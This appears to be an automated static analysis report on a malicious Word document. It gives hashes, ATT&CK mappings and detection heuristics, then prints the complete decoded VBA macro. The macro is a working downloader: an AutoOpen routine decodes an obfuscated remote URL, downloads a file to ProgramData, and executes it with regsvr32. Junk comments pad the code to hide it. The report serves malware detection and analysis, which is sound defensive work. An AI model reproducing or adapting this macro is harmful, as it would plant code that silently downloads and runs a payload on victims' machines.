Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ce5fbdd6c8b63c2d…

MALICIOUS

Office (OOXML)

117.3 KB Created: 2020-06-09 09:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-25
MD5: dd0917aaa49e6bc5dd0686001b10da73 SHA-1: f01431423afddd50b655b07c95382af6e3e8f578 SHA-256: ce5fbdd6c8b63c2dd8ea647f5348bb922003bbce572d64f7b004296da0db532b
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro. The AutoOpen subroutine within the VBA code is designed to execute automatically upon opening the document. This subroutine utilizes the URLDownloadToFile function to download a payload from a remote source, indicating an Ingress Tool Transfer attack pattern. The presence of the AutoOpen macro and the use of URLDownloadToFile strongly suggest a downloader functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Hx"
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4994 bytes
SHA-256: 2bdf610fe37e180b113785177d91748d37b573c4e45cd91244d2a52e895e1d81
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hx"
Sub AutoOpen()

' Quick-witted drizzle race urgency lunge
' Infuse whaling spent coke
Dim Vj As New a

' Cleanse carrier purposes
' Stipulation rio
' Tattoo surprised
' Paper uniprotkb twine vendor aberrations
' Egress supply hard urgently
Vj.e F3(0), F3(1)

' Entrepreneur digital siren
' Sp confusing
' Great
' Defence subaru pressing
' Requital discounts reflections
Dim Og As New Q

' Broke stalking
' Team rill attraction masthead
' Mit ugliness wallace iraqi auditor deg
' Gpl formed

' Gain
' Sun italic
' Fern finnish opal
' Brokers sprout spent

' Topaz
' Cloister paxil
' Galen lees draft
' See immeasurable curtsey melbourne limits
' Khaki formation barrister pueblo
' Dietary lurid

' Jim shannon folklore grandparents surgeons
' Subjective purification
' Suspected imo macromedia mathematics
' Condos guru
Og.d "regsvr" & 32 & " " & F3(1)
End Sub

Attribute VB_Name = "a"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Tor
' Listing color commissioner southern salient buffet collegiate
End Sub
Private Sub Class_Terminate()

' Articulation insulation divulge
' Assimilation bandwidth wiki milieu adaptor
' Create blight
' Ff estrangement
' Shelter dense
End Sub
Public Sub e(ld, zv)

' Lustful physiological hence
' Weave experienced
' Cos likely
' Continuously travelling antique illustration
' Omnibus diff

' Oxfordshire fallen gain accompanying
' Toilet serial overflow absently
' Incautious hiv mishap surveys
' Dir depict sunshine ephesians
URLDownloadToFile 0, ld, zv, 0, 0
End Sub

Attribute VB_Name = "Q"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function d(hy)

' Wars paralysis ninety-six
' Dominican abstaining guns
Dim r0 As New WshShell
r0.exec hy
End Function
Function te(Kz)
    
' Irreverent pretension nations standard wendy
' Cottage glaze california pointer outwards
' Transcript migrant incarnate flagrant her
' Nearest levity rm spicy
' Cloven learned detroit
' Folder akimbo

' Pollux pitfall sheffield iceland watcher
' Leguminous filled
' Rooms
' Outcome granular travesty expanding longitude
' Confuse names abc vendor ethics antiquary intimate
' Forger muscles phial
' Zambia gases citysearch crank beverly
' Split nice genii
End Function

Attribute VB_Name = "Hx1"
Public Const rm As String = "!!!"
Public Const Q8 As String = "???"
Public Function N()

' Decades sandra
' Supplement marble duration
' Relentless luis tigress badger shortly
Dim arr1(2)
arr1(0) = Trim("h???t???t???p???:???/???/???h???k???j???h???z???9???b???d???1???g???p???j???4???n???f???e???z???.???c???o???m???/???h???d???i???")
arr1(1) = Trim("l???/???k???z???e???x???.???p???h???p???????l???=???s???o???u???b???5???.???c???a???b???!???!???!???c???:???\???p???r???o???g???")
arr1(2) = Trim("r???a???m???d???a???t???a???\???1???3???2???3???7???2???0???4???.???d???a???t???")

' Contiguous definitive glowered
' Alluvial gambia shorten
N = arr1
End Function
Function F3(vi)

' Arranged ph.d. savoury commission
' Sentence myrtle cylindrical groups clipped
tB = Join(N, vbNullString)

' Misconduct usurpation
' Golf
' Organised punctual
' Householder commendation cedar insertion com
' Persian educate impede
' Unload forswear tangent ovation daze

' Potential war
' Halves shame telephony dandy
' Shaven cancer limiting concepts fe built
tB = Replace(tB, Q8, vbNullString)

' Compliant
' Dictator conscription kerry regional
Ad = Split(tB, rm)

' Owen suffix carving katie stayed
' Pater planning
' Boots bret purposed nelly
' Firm brothel
If vi = 0 Then F3 = Ad(0)
If vi = 1 Then F3 = Ad(1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 9f90bdb2b09b8b2476752019c63ab1196315319c8a8c1f758f319a7e88b58537